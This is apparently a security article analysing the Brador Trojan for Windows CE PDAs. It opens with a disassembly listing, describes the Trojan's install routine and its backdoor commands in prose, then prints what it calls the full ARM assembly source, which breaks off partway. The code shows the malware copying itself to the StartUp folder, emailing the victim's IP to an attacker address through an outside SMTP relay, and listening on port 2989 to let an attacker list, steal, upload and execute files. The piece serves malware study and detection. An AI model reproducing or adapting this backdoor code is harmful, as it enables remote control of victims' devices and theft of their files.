aQuit DCB "QUIT" ; DATA XREF: .text:00011AB4o .text:00011A1B DCB 0xD, 0xA .text:00011A1D aConnectionEstablish DCB "Connection establish" ; DATA XREF: .text:00011AB8o .text:00011A31 DCB 0x65, 0x64, 0 .text:00011A34 aHi unicode 0, <Hi> ; DATA XREF: .text:00011AE8o .text:00011A38 DCB 0, 0 .text:00011A3A aOk DCB "OK",0 ; DATA XREF: .text:00011AECo .text:00011A3D DCB 0x45 ; E .text:00011A3E aRror DCB "rror" .text:00011A42 DCB 0 .text:00011A43 aConnectionClose DCB "Connection close" ; DATA XREF: .text:00011AC4o .text:00011A53 aD DCB "d",0 .text:00011A55 commandz DCB "d" ; DATA XREF: .text:00011AC8o .text:00011A56 commandz_plus_1 DCB "grpm" ; DATA XREF: .text:00011ACCo .text:00011A5A aF DCB "f",0 .text:00011A5C commandz_offsets DCD dir ; DATA XREF: .text:00011AD0o .text:00011A5C ; d .text:00011A60 DCD upload_file ; g .text:00011A64 DCD execute ; r .text:00011A68 DCD download_file ; p .text:00011A6C DCD message_box ; m .text:00011A70 DCD close_session ; f .text:00011A74 off_0_11A74 DCD start ; DATA XREF: start+60r .text:00011A78 dword_0_11A78 DCD 0x310031 ; DATA XREF: start+7Cr .text:00011A7C dword_0_11A7C DCD 0x8004667E ; DATA XREF: start+9Cr .text:00011A7C ; start+1B8r .text:00011A80 off_0_11A80 DCD aWindowsStartup ; DATA XREF: startr .text:00011A80 ; "\\Windows\\StartUp\\svchost.exe" .text:00011A84 off_0_11A84 DCD bytes_count ; DATA XREF: start+3Cr .text:00011A88 off_0_11A88 DCD start_of_pe_file ; DATA XREF: start+44r .text:00011A88 ; start+80r ... .text:00011A8C off_0_11A8C DCD number_of_bytes_written ; DATA XREF: start+50r .text:00011A8C ; start+A0r .text:00011A90 off_0_11A90 DCD sockaddr ; DATA XREF: start+ACr .text:00011A90 ; start+178r .text:00011A94 off_0_11A94 DCD sockaddr_smtp ; DATA XREF: start+BCr .text:00011A98 off_0_11A98 DCD select_timeout ; DATA XREF: start+C8r .text:00011A9C off_0_11A9C DCD hostname ; DATA XREF: start+D8r .text:00011A9C ; start+E4r .text:00011AA0 off_0_11AA0 DCD ip_address_with_cr_lf ; DATA XREF: start+100r .text:00011AA0 ; start+144r .text:00011AA4 off_0_11AA4 DCD aHeloVictim ; DATA XREF: start+114r .text:00011AA4 ; "HELO victim\r" .text:00011AA8 off_0_11AA8 DCD aMailFromBr@mail_ru ; DATA XREF: start+120r .text:00011AA8 ; "MAIL FROM:br@mail.ru" .text:00011AAC off_0_11AAC DCD aRcptToBrokensword@ukr_ ; DATA XREF: start+12Cr .text:00011AAC ; "RCPT TO:brokensword@ukr.net\r" .text:00011AB0 off_0_11AB0 DCD aData ; DATA XREF: start+138r .text:00011AB0 ; "DATA" .text:00011AB4 off_0_11AB4 DCD aQuit ; DATA XREF: start+150r .text:00011AB4 ; "QUIT" .text:00011AB8 off_0_11AB8 DCD aConnectionEstablish ; DATA XREF: start+1A4r .text:00011AB8 ; "Connection establish" .text:00011ABC off_0_11ABC DCD dword_0_11980 ; DATA XREF: start+1BCr .text:00011AC0 off_0_11AC0 DCD select_timeout_ ; DATA XREF: start+1C4r .text:00011AC4 off_0_11AC4 DCD aConnectionClose ; DATA XREF: start+1D8r .text:00011AC4 ; "Connection close" .text:00011AC8 off_0_11AC8 DCD commandz ; DATA XREF: start+20Cr .text:00011AC8 ; "d" .text:00011ACC off_0_11ACC DCD commandz_plus_1 ; DATA XREF: start+21Cr .text:00011ACC ; "grpm" .text:00011AD0 off_0_11AD0 DCD commandz_offsets ; DATA XREF: start+224r .text:00011AD4 off_0_11AD4 DCD packet_payload ; DATA XREF: .text:0001122Cr .text:00011AD4 ; .text:000112B8r ... .text:00011AD8 off_0_11AD8 DCD process_information ; DATA XREF: .text:00011230r .text:00011AD8 ; .text:0001128Cr ... .text:00011ADC off_0_11ADC DCD dword_0_11744 ; DATA XREF: .text:00011244r .text:00011AE0 off_0_11AE0 DCD read_writefds ; DATA XREF: .text:00011318r .text:00011AE0 ; .text:000113E4r ... .text:00011AE4 off_0_11AE4 DCD timeout_file_dl ; DATA XREF: .text:0001138Cr .text:00011AE4 ; .text:000113B4r ... .text:00011AE8 off_0_11AE8 DCD aHi ; DATA XREF: .text:00011414r .text:00011AE8 ; "Hi" .text:00011AEC off_0_11AEC DCD aOk ; DATA XREF: send_ok_back+8r .text:00011AEC ; "OK" .text:00011AF0 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011AF0 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011AF0 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011BAC ; [00000008 BYTES: COLLAPSED FUNCTION MessageBoxW. PRESS KEYPAD "+" TO EXPAND] .text:00011BB4 off_0_11BB4 DCD __imp_MessageBoxW ; DATA XREF: MessageBoxWr .text:00011BB8 ; [00000008 BYTES: COLLAPSED FUNCTION FindNextFileW. PRESS KEYPAD "+" TO EXPAND] .text:00011BC0 off_0_11BC0 DCD __imp_FindNextFileW ; DATA XREF: FindNextFileWr .text:00011BC4 ; [00000008 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND] .text:00011BCC off_0_11BCC DCD __imp_CloseHandle ; DATA XREF: CloseHandler .text:00011BD0 ; [00000008 BYTES: COLLAPSED FUNCTION CreateProcessW. PRESS KEYPAD "+" TO EXPAND] .text:00011BD8 off_0_11BD8 DCD __imp_CreateProcessW ; DATA XREF: CreateProcessWr .text:00011BDC ; [00000008 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND] .text:00011BE4 off_0_11BE4 DCD __imp_WriteFile ; DATA XREF: WriteFiler .text:00011BE8 ; [00000008 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD "+" TO EXPAND] .text:00011BF0 off_0_11BF0 DCD __imp_GetFileSize ; DATA XREF: GetFileSizer .text:00011BF4 ; [00000008 BYTES: COLLAPSED FUNCTION ReadFile. PRESS KEYPAD "+" TO EXPAND] .text:00011BFC off_0_11BFC DCD __imp_ReadFile ; DATA XREF: ReadFiler .text:00011C00 ; [00000008 BYTES: COLLAPSED FUNCTION FindFirstFileW. PRESS KEYPAD "+" TO EXPAND] .text:00011C08 off_0_11C08 DCD __imp_FindFirstFileW ; DATA XREF: FindFirstFileWr .text:00011C0C ; [00000008 BYTES: COLLAPSED FUNCTION CreateFileW. PRESS KEYPAD "+" TO EXPAND] .text:00011C14 off_0_11C14 DCD __imp_CreateFileW ; DATA XREF: CreateFileWr .text:00011C18 ; [00000008 BYTES: COLLAPSED FUNCTION recv. PRESS KEYPAD "+" TO EXPAND] .text:00011C20 off_0_11C20 DCD __imp_recv ; DATA XREF: recvr .text:00011C24 ; [00000008 BYTES: COLLAPSED FUNCTION bind. PRESS KEYPAD "+" TO EXPAND] .text:00011C2C off_0_11C2C DCD __imp_bind ; DATA XREF: bindr .text:00011C30 ; [00000008 BYTES: COLLAPSED FUNCTION gethostbyname. PRESS KEYPAD "+" TO EXPAND] .text:00011C38 off_0_11C38 DCD __imp_gethostbyname ; DATA XREF: gethostbynamer .text:00011C3C ; [00000008 BYTES: COLLAPSED FUNCTION socket. PRESS KEYPAD "+" TO EXPAND] .text:00011C44 off_0_11C44 DCD __imp_socket ; DATA XREF: socketr .text:00011C48 ; [00000008 BYTES: COLLAPSED FUNCTION WSAStartup. PRESS KEYPAD "+" TO EXPAND] .text:00011C50 off_0_11C50 DCD __imp_WSAStartup ; DATA XREF: WSAStartupr .text:00011C54 ; [00000008 BYTES: COLLAPSED FUNCTION gethostname. PRESS KEYPAD "+" TO EXPAND] .text:00011C5C off_0_11C5C DCD __imp_gethostname ; DATA XREF: gethostnamer .text:00011C60 ; [00000008 BYTES: COLLAPSED FUNCTION send. PRESS KEYPAD "+" TO EXPAND] .text:00011C68 off_0_11C68 DCD __imp_send ; DATA XREF: sendr .text:00011C6C ; [00000008 BYTES: COLLAPSED FUNCTION accept. PRESS KEYPAD "+" TO EXPAND] .text:00011C74 off_0_11C74 DCD __imp_accept ; DATA XREF: acceptr .text:00011C78 ; [00000008 BYTES: COLLAPSED FUNCTION select. PRESS KEYPAD "+" TO EXPAND] .text:00011C80 off_0_11C80 DCD __imp_select ; DATA XREF: selectr .text:00011C84 ; [00000008 BYTES: COLLAPSED FUNCTION closesocket. PRESS KEYPAD "+" TO EXPAND] .text:00011C8C off_0_11C8C DCD __imp_closesocket ; DATA XREF: closesocketr .text:00011C90 ; [00000008 BYTES: COLLAPSED FUNCTION ioctlsocket. PRESS KEYPAD "+" TO EXPAND] .text:00011C98 off_0_11C98 DCD __imp_ioctlsocket ; DATA XREF: ioctlsocketr .text:00011C9C ; [00000008 BYTES: COLLAPSED FUNCTION inet_ntoa. PRESS KEYPAD "+" TO EXPAND] .text:00011CA4 off_0_11CA4 DCD __imp_inet_ntoa ; DATA XREF: inet_ntoar .text:00011CA8 ; [00000008 BYTES: COLLAPSED FUNCTION connect. PRESS KEYPAD "+" TO EXPAND] .text:00011CB0 off_0_11CB0 DCD __imp_connect ; DATA XREF: connectr .text:00011CB4 ; [00000008 BYTES: COLLAPSED FUNCTION listen. PRESS KEYPAD "+" TO EXPAND] .text:00011CBC off_0_11CBC DCD __imp_listen ; DATA XREF: listenr .text:00011CC0 DCD 0xD14, 0x1000, 0x11000, 0x40, 0xE0000020, 0xE00, 0x400 .text:00011CC0 DCD 0x195, 0x2000, 0x12000, 2, 0x40000040, 0x200, 0x1200 .text:00011CC0 DCD 0x64, 0x3000, 0x13000, 4, 0xC0000040, 0x200, 0x1400 .text:00011CC0 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011CC0 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011CC0 DCD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .text:00011CC0 DCD 0, 0, 0, 0, 0, 0, 0, 0 .text:00011CC0 ; _text ends .text:00011CC0 .rdata:00012000 ; Section 2. (virtual address 00002000) .rdata:00012000 ; Virtual size : 00000195 ( 405.) .rdata:00012000 ; Section size in file : 00000200 ( 512.) .rdata:00012000 ; Offset to raw data for section: 00001200 .rdata:00012000 ; Flags 40000040: Data Readable .rdata:00012000 ; Alignment : 16 bytes ? .rdata:00012000 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .rdata:00012000 .rdata:00012000 AREA .rdata, DATA, ALIGN=4 .rdata:00012000 ; ORG 0x12000 .rdata:00012000 DCB 0, 0, 0, 0, 0x5F, 0xEE, 0x10, 0x41, 0, 0, 0, 0, 2 .rdata:00012000 DCB 0, 0, 0, 0x25, 0, 0, 0, 0x70, 0x21, 0, 0, 0x70, 0x13 .rdata:00012000 DCB 0, 0, 0x58, 0x20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0xBC .rdata:00012000 DCB 0x20, 0, 0, 0, 0x30, 0, 0, 0x80, 0x20, 0, 0, 0, 0 .rdata:00012000 DCB 0, 0, 0, 0, 0, 0, 0x66, 0x21, 0, 0, 0x28, 0x30, 0 .rdata:00012000 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .rdata:00012000 DCB 0, 0, 0, 0, 0x5A, 3, 0, 0x80, 0xB5, 0, 0, 0x80, 0x29 .rdata:00012000 DCB 2, 0, 0x80, 0xED, 1, 0, 0x80, 0xAB, 0, 0, 0x80, 0xAC .rdata:00012000 DCB 0, 0, 0x80, 0xAA, 0, 0, 0x80, 0xA7, 0, 0, 0x80, 0xA8 .rdata:00012000 DCB 0, 0, 0x80, 0, 0, 0, 0, 0xC8, 0x20, 0, 0, 0xD0, 0x20 .rdata:00012000 DCB 0, 0, 0xD8, 0x20, 0, 0, 0xE8, 0x20, 0, 0, 0xF2, 0x20 .rdata:00012000 DCB 0, 0, 0, 0x21, 0, 0, 0xE, 0x21, 0, 0, 0x16, 0x21, 0 .rdata:00012000 DCB 0, 0x20, 0x21, 0, 0, 0x2A, 0x21, 0, 0, 0x38, 0x21 .rdata:00012000 DCB 0, 0, 0x46, 0x21, 0, 0, 0x52, 0x21, 0, 0, 0x5C, 0x21 .rdata:00012000 DCB 0, 0, 0, 0, 0, 0 .rdata:000120BC aCoredll_dll DCB "COREDLL.dll",0 .rdata:000120C8 DCB 0x46 ; F .rdata:000120C9 DCB 0 ; .rdata:000120CA aRecv DCB "recv",0 .rdata:000120CF DCB 0 ; .rdata:000120D0 DCB 0x2C ; , .rdata:000120D1 DCB 0 ; .rdata:000120D2 aBind DCB "bind",0 .rdata:000120D7 DCB 0 ; .rdata:000120D8 DCB 0x32 ; 2 .rdata:000120D9 DCB 0 ; .rdata:000120DA aGethostbyname DCB "gethostbyname",0 .rdata:000120E8 DCB 0x4E ; N .rdata:000120E9 DCB 0 ; .rdata:000120EA aSocket DCB "socket",0 .rdata:000120F1 DCB 0 ; .rdata:000120F2 DCB 0x22 ; " .rdata:000120F3 DCB 0 ; .rdata:000120F4 aWsastartup DCB "WSAStartup",0 .rdata:000120FF DCB 0 ; .rdata:00012100 DCB 0x33 ; 3 .rdata:00012101 DCB 0 ; .rdata:00012102 aGethostname DCB "gethostname",0 .rdata:0001210E DCB 0x49 ; I .rdata:0001210F DCB 0 ; .rdata:00012110 aSend DCB "send",0 .rdata:00012115 DCB 0 ; .rdata:00012116 DCB 0x2B ; + .rdata:00012117 DCB 0 ; .rdata:00012118 aAccept DCB "accept",0 .rdata:0001211F DCB 0 ; .rdata:00012120 DCB 0x48 ; H .rdata:00012121 DCB 0 ; .rdata:00012122 aSelect DCB "select",0 .rdata:00012129 DCB 0 ; .rdata:0001212A DCB 0x2D ; - .rdata:0001212B DCB 0 ; .rdata:0001212C aClosesocket DCB "closesocket",0 .rdata:00012138 DCB 0x42 ; B .rdata:00012139 DCB 0 ; .rdata:0001213A aIoctlsocket DCB "ioctlsocket",0 .rdata:00012146 DCB 0x41 ; A .rdata:00012147 DCB 0 ; .rdata:00012148 aInet_ntoa DCB "inet_ntoa",0 .rdata:00012152 DCB 0x2E ; . .rdata:00012153 DCB 0 ; .rdata:00012154 aConnect DCB "connect",0 .rdata:0001215C DCB 0x43 ; C .rdata:0001215D DCB 0 ; .rdata:0001215E aListen DCB "listen",0 .rdata:00012165 DCB 0 ; .rdata:00012166 aWs2_dll DCB "WS2.dll",0 .rdata:0001216E DCB 0 ; .rdata:0001216F DCB 0 ; .rdata:00012170 aNb10 DCB "NB10",0 .rdata:00012175 DCB 0 ; .rdata:00012176 DCB 0 ; .rdata:00012177 DCB 0 ; .rdata:00012178 DCB 0xDB ; Û .rdata:00012179 DCB 0x83 ; ƒ .rdata:0001217A DCB 0xA ; .rdata:0001217B DCB 0x41 ; A .rdata:0001217C DCB 0x45 ; E .rdata:0001217D DCB 0 ; .rdata:0001217E DCB 0 ; .rdata:0001217F DCB 0 ; .rdata:00012180 aCAsm_ceServer_pdb DCB "C:\ASM_CE\server.pdb",0 .rdata:00012195 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .rdata:00012195 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .rdata:00012195 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .rdata:00012195 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .rdata:00012195 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .rdata:00012195 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 .rdata:00012195 DCB 0, 0, 0, 0, 0 .rdata:00012195 ; _rdata ends .rdata:00012195 .idata:00013000 ; Section 3. (virtual address 00003000) .idata:00013000 ; Virtual size : 00000064 ( 100.) .idata:00013000 ; Section size in file : 00000200 ( 512.) .idata:00013000 ; Offset to raw data for section: 00001400 .idata:00013000 ; Flags C0000040: Data Readable Writable .idata:00013000 ; Alignment : 16 bytes ? .idata:00013000 ; .idata:00013000 ; Imports from COREDLL.dll .idata:00013000 ; .idata:00013000 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .idata:00013000 .idata:00013000 IMPORT __imp_MessageBoxW ; DATA XREF: .text:00011BB4o .idata:00013004 IMPORT __imp_FindNextFileW ; DATA XREF: .text:00011BC0o .idata:00013008 IMPORT __imp_CloseHandle ; DATA XREF: .text:00011BCCo .idata:0001300C IMPORT __imp_CreateProcessW ; DATA XREF: .text:00011BD8o .idata:00013010 IMPORT __imp_WriteFile ; DATA XREF: .text:00011BE4o .idata:00013014 IMPORT __imp_GetFileSize ; DATA XREF: .text:00011BF0o .idata:00013018 IMPORT __imp_ReadFile ; DATA XREF: .text:00011BFCo .idata:0001301C IMPORT __imp_FindFirstFileW ; DATA XREF: .text:00011C08o .idata:00013020 IMPORT __imp_CreateFileW ; DATA XREF: .text:00011C14o .idata:00013024 .idata:00013028 ; .idata:00013028 ; Imports from WS2.dll .idata:00013028 ; .idata:00013028 IMPORT __imp_recv ; DATA XREF: .text:00011C20o .idata:0001302C IMPORT __imp_bind ; DATA XREF: .text:00011C2Co .idata:00013030 IMPORT __imp_gethostbyname ; DATA XREF: .text:00011C38o .idata:00013034 IMPORT __imp_socket ; DATA XREF: .text:00011C44o .idata:00013038 IMPORT __imp_WSAStartup ; DATA XREF: .text:00011C50o .idata:0001303C IMPORT __imp_gethostname ; DATA XREF: .text:00011C5Co .idata:00013040 IMPORT __imp_send ; DATA XREF: .text:00011C68o .idata:00013044 IMPORT __imp_accept ; DATA XREF: .text:00011C74o .idata:00013048 IMPORT __imp_select ; DATA XREF: .text:00011C80o .idata:0001304C IMPORT __imp_closesocket ; DATA XREF: .text:00011C8Co .idata:00013050 IMPORT __imp_ioctlsocket ; DATA XREF: .text:00011C98o .idata:00013054 IMPORT __imp_inet_ntoa ; DATA XREF: .text:00011CA4o .idata:00013058 IMPORT __imp_connect ; DATA XREF: .text:00011CB0o .idata:0001305C IMPORT __imp_listen ; DATA XREF: .text:00011CBCo .idata:00013060 .data:00013064 ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .data:00013064 .data:00013064 AREA .data, DATA, ALIGN=4 .data:00013064 ; ORG 0x13064 .data:00013064 ALIGN 0x200 .data:00013064 ; _data ends .data:00013064 .data:00013064 END start
Summary of the Black Box Analysis
The following section summarizes the findings of our "black box" reverse-engineering analysis (performed before we had access to the source codewhich became available right at press time).
Brador is a two-part program. Like most Trojans, it has corresponding client and server parts that communicate with each other to obtain file listings, to upload and download files, to execute programs, and to send pop-up messages to the infected computer's screen. The following section details Brador's features.
Infection
Brador is not a self-replicating form of malware. It doesn't magically place itself into your PDA or automatically search a network to find potential targets. An unsuspecting user must receive the server portion of the Trojan via email, download it from the Internet, or receive it from a "friend." Once the program is on the PDA, it must then be executed manually. At this time, Brador installs the server portion of the Trojan into the Windows CE StartUp folder to ensure continued execution. It then waits for a connection from the client. The following steps outline the general flow of execution:
Set up \Windows\StartUp\svchost.exe value for new file.
Set up CreateFile parameters.
CreateFile.
If CreateFile fails, the file probably exists, so skip to the next step.
Else set up WriteFile parameters.
WriteFile in chunks.
CloseHandle.
This process is similar to the PC world of Trojans. While there are some worms/Trojans that actively exploit weaknesses in PC services, Brador is relatively simple.
Post Infection/Execution Routine
Upon execution, Brador runs through a small routine to inform the Trojan's creator of its infection, and attempts to create a copy of itself in the \Windows\StartUp folder of the PDA as a file named svchost.exe. If this file already exists, meaning that the Trojan already performed this action, the CreateFile function will fail, causing the Trojan to skip to the next part of the program.
Once svchost.exe is created, the program jumps into a routine to inform the creator of its existence. It does this by connecting to an SMTP server or relay (194.67.23.111) from port 2989 (0xBAD) and passing an email message in the following format:
MAIL FROM: BR@MAIL.RU RCPT TO: BROKENSWORD@UKR.NET DATA: Victim's IP address + CR/LF QUIT
The Trojan then closes the email connection and reopens port 2989 in a "listen" mode. At this point, the Trojan will accept up to five connections and will take incoming requests from the client-side program operated by the attacker. The following steps outline the program's code:
WSAStartup (sockets start).
Create socket.
Set up input/output of socket.
Bind to port 2989.
Connect to 194.67.23.111.
Get local IP and place in buffer.
Connect to SMTP server and send email with victim's IP information.
Close connection.
Reopen connection in listen mode.
Trojan Commands
Once the Trojan is listening for a client connection, it won't be noticed by the victim. There's no indication that the Trojan is operating except by some type of port-monitoring program or an observant user. Unfortunately, unlike its desktop equivalent, the Pocket PC doesn't include a netstat feature. However, you can detect the Trojan's port using Airscanner's Pocket PC firewall (download the full version, free for personal use, from the Airscanner web site).
Figure 1 shows the Airscanner firewall's real-time connection monitor displaying the Trojan listening on open ports. This might be your first clue to an unknown Trojan infection or other backdoor on your Pocket PC.
Figure 1 Airscanner firewall with real-time port listing (note the 2989 open port).
Assuming that the PDA is not behind a firewall, the attacker should be able to connect to port 2989 and send it one of several commands. However, given the fact that many PDA users are behind some form of NAT firewall or proxy server, the aggregate risk of remote connection from the Internet is somewhat reducedalthough this is changing.
If a remote connection can be made to the infected PDA, there are no authentication checks in place. This means that anyone with a client can operate the Trojan. In fact, it's possible to control certain parts of the PDA Trojan via a command-line Telnet session, if you know the correct commands to send to the PDA.
Prior to any command being executed, it's first validated against a list of pre-coded command letters: dgrpmf. The following steps outline the pre-command execution process:
Load string dgrpmf.
Receive data from client.
Get client's command.
Check whether the command is a directory listing.
Checks whether the command is grpmf and call function based on offset of the letter.
Directory Listing (d)
This command retrieves a directory listing of files in a specified folder. Using a simple FindFirstFile and FindNextFile routine, the Trojan iterates through files in the designated folder and passes their names back to the client program:
Set up parameters for FindFirstFile.
FindFirstFile.
Test whether there's a file.
If not, jump to end, send OK, and return to listener.
Else buffer filename.
Send filename.
FindNextFile.
Test whether there's a file.
If not, jump to end, send OK, and return to listener.
Else repeat filename buffer and send.
Get File (g)
The g command downloads a specified file in 1024-byte chunks from the Trojan server. The client-side program simply reassembles the data chunks into their original form by appending each new buffer onto the end of the file. This command is being reported inaccurately (by other antivirus companies) as the "uploads a file" command. Figure 2 shows the results of using a Telnet session as a client to request a test.txt file from the root directory of an infected PDA. This file was padded with numerous 0x20 characters to test the 1024-byte limit.
Figure 2 Using the g command via Telnet to download a file from the PDA.
The following is an outline of the code responsible for this command. Note the use of the CreateFile function, which actually is used to access an existing file, rather than to create a file. Also note that this command is the only command that doesn't return an OK when complete.
Set up parameters for CreateFile.
CreateFile.
If the file doesn't exist or is in use, exit.
Else GetFileSize.
Send back file size.
Read1024 bytes of data.
Send back 1024 bytes of data.
When complete, CloseHandle and return to listener.
Execute Process (r)
The r command executes a "standard" process on the PDA as defined by the Trojan. This is performed using the CreateProcessW command, which has a unique twist because it will locate the file based on the following four checks (as per MSDN):
Path specified in lpApplicationName, if one is listed
Windows directory (Windows)
Root directory in the object store (\)
OEM-specified search path
The following steps outline the command's code process:
Set up parameters for CreateProcess.
CreateProcess.
If successful, send back OK.
Else return to listener.
Put File (p)
This command uploads a file in 1024-byte chunks to the infected PDA. It's basically the exact opposite of the "get file" command previously discussed. The following steps outline the command's code:
Set up parameters for CreateFile.
CreateFile.
If unsuccessful, jump back to listener.
Else send back OK.
Wait for incoming data.
Get file size.
Wait for incoming data.
Receive 1024-byte chunk of data.
Setup parameters for WriteFile.
WriteFile.
Check for more data.
If no more, send OK and return to listener.
Message Box (m)
The m command tells the Trojan to create a pop-up with a specified message on the user's screen. The title of the pop-up is hardcoded as "Hi," with an OK button in the upper-right corner to close the window. The message is posted in the center of the pop-up box. Figure 3 shows an example of a pop-up as created by the Brador Trojan.
Figure 3 Using Brador to create a pop-up message box.
The following steps outline the code portion of this function:
Set R0 = 0.
Set R1 = Message in Unicode format.
Set R2 = "Hi."
Set R3 = MB_OK (message box with OK button).
Call MessageBox.
Send OK back to client.
Return to listener.
Close Session (f)
The f command simply closes the connection between the client and server. Once the connection is closed, the process is passed back to the Trojan, where it sets up a new listener. The following steps outline the code responsible for this command:
Send "Connection Closed" to client.
Close socket.
Jump back to new listener.
Source Code
As this article went to press, we were lucky enough to obtain the source code to the Brador Trojan through informants in the computer underground. We can now study the actual code to see whether our black box reverse engineering was accurate. Here, published for the first time, is the full source code to the first Windows CE Trojan.
; ******************************************************************************************* INCLUDE wince.inc IMPORT CreateFileW IMPORT WriteFile IMPORT CloseHandle IMPORT WSAStartup IMPORT socket IMPORT ioctlsocket IMPORT bind IMPORT connect IMPORT select IMPORT gethostname IMPORT gethostbyname IMPORT inet_ntoa IMPORT recv IMPORT send IMPORT closesocket IMPORT listen IMPORT accept IMPORT ReadFile IMPORT FindFirstFileW IMPORT FindNextFileW IMPORT GetFileSize IMPORT CreateProcessW IMPORT MessageBoxW EXPORT _start AREA .text, CODE ; ******************************************************************************************* ; ******************************************************************************************* _start ;NOP ; remove this sh#t later ldr R0, =trojname ldr R1, =GENERIC_WRITE eor R2, R2, R2 eor R3, R3, R3 ldr R4, =CREATE_NEW str R4, [SP] ldr R4, =FILE_ATTRIBUTE_NORMAL str R4, [SP, #4] str R3, [SP, #8] bl CreateFileW ; create \Windows\StartUp\svchost.exe mvn R1, #0 cmp R0, R1 beq _skip_prelude ; skip prelude if file exists str R0, hFile ldr R8, =4 ldr R7, =header_size eor R6, R6, R6 ldr R1, =PE_header _next_section ldr R0, hFile ldrh R2, [R7], #2 ldr R3, =SMTP_socket eor R4, R4, R4 str R4, [SP] bl WriteFile ldr R1, =_start add R1, R1, R6 add R6, R6, #0x1000 subs R8, R8, #1 bne _next_section ldr R0, hFile bl CloseHandle _skip_prelude ldr R0, =0x00310031 ldr R1, =PE_header bl WSAStartup ldr R0, =AF_INET ldr R1, =SOCK_STREAM eor R2, R2, R2 bl socket str R0, SMTP_socket ldr R1, =FIONBIO ldr R2, =SMTP_socket bl ioctlsocket ldr R0, SMTP_socket ldr R1, =local_sa_in ldr R2, =local_sa_in_len bl bind _try_connect ldr R0, SMTP_socket ldr R1, =SMTP_sa_in ldr R2, =SMTP_sa_in_len bl connect ldr R6, =timeout_large bl proc_sock_wait_write tst R0, R0 beq _try_connect ldr R0, =hostname ldr R1, =hostname_len bl gethostname ldr R0, =hostname bl gethostbyname ldr R0, [R0, #0xC] ldr R0, [R0] ldr R0, [R0] str R0, local_sa_in+4 bl inet_ntoa ldr R2, =victims_IP _next_IP_digit ldrb R1, [R0], #1 strb R1, [R2], #1 tst R1, R1 bne _next_IP_digit ldr R1, =HELO ldr R2, =HELO_len bl proc_SMTP_send_recv ldr R1, =MAIL ldr R2, =MAIL_len bl proc_SMTP_send_recv ldr R1, =RCPT ldr R2, =RCPT_len bl proc_SMTP_send_recv ldr R1, =DATA ldr R2, =DATA_len bl proc_SMTP_send_recv ldr R1, =victims_IP ldr R2, =victims_IP_len bl proc_SMTP_send_recv ldr R1, =QUIT ldr R2, =QUIT_len bl proc_SMTP_send_recv ldr R0, SMTP_socket bl closesocket ; ******************************************************************************************* ; ******************************************************************************************* ldr R0, =AF_INET ldr R1, =SOCK_STREAM eor R2, R2, R2 bl socket str R0, SMTP_socket ldr R1, =local_sa_in ldr R2, =local_sa_in_len bl bind _new_session ldr R0, SMTP_socket ldr R1, =5 bl listen ldr R0, SMTP_socket eor R1, R1, R1 eor R2, R2, R2 bl accept str R0, victims_socket ldr R1, =CON_EST ldr R2, =CON_EST_len eor R3, R3, R3 bl send ldr R0, victims_socket ldr R1, =FIONBIO ldr R2, =victims_socket bl ioctlsocket _recv_loop ldr R6, =timeout_small bl proc_sock_wait_read ; wait new commands tst R0, R0 bgt _cmd_recvd _cmd_fin ldr R0, victims_socket ldr R1, =mes_CLOSE ldr R2, =mes_CLOSE_len eor R3, R3, R3 bl send ldr R0, victims_socket bl closesocket b _new_session _cmd_recvd ldr R0, victims_socket ldr R1, =PE_header ldr R2, =PE_header_size eor R3, R3, R3 bl recv ldrb R0, PE_header ldr R1, =cmd _try_next_cmd ldrb R2, [R1], #1 cmp R0, R2 bne _try_next_cmd ldr R0, =cmd+1 sub R1, R1, R0 ldr R3, =cmd_table ldr PC, [R3, R1, LSL #2] ; ******************************************************************************************* ; ******************************************************************************************* _cmd_dir ldr R0, =PE_header+4 ldr R1, =PE_header+0x200 ; WIN32_FIND_DATA bl FindFirstFileW tst R0, R0 beq _no_more_files str R0, hFindFile _find_next ldr R3, =PE_header+0x200+0x28 ldr R4, =PE_header _next_path_char ldrb R2, [R3], #1 tst R2, R2 beq _maybe_last strb R2, [R4], #1 b _next_path_char _maybe_last ldrb R2, [R3] tst R2, R2 bne _next_path_char ldr R0, =0 strb R0, [R4] ldr R0, victims_socket ldr R1, =PE_header sub R2, R4, 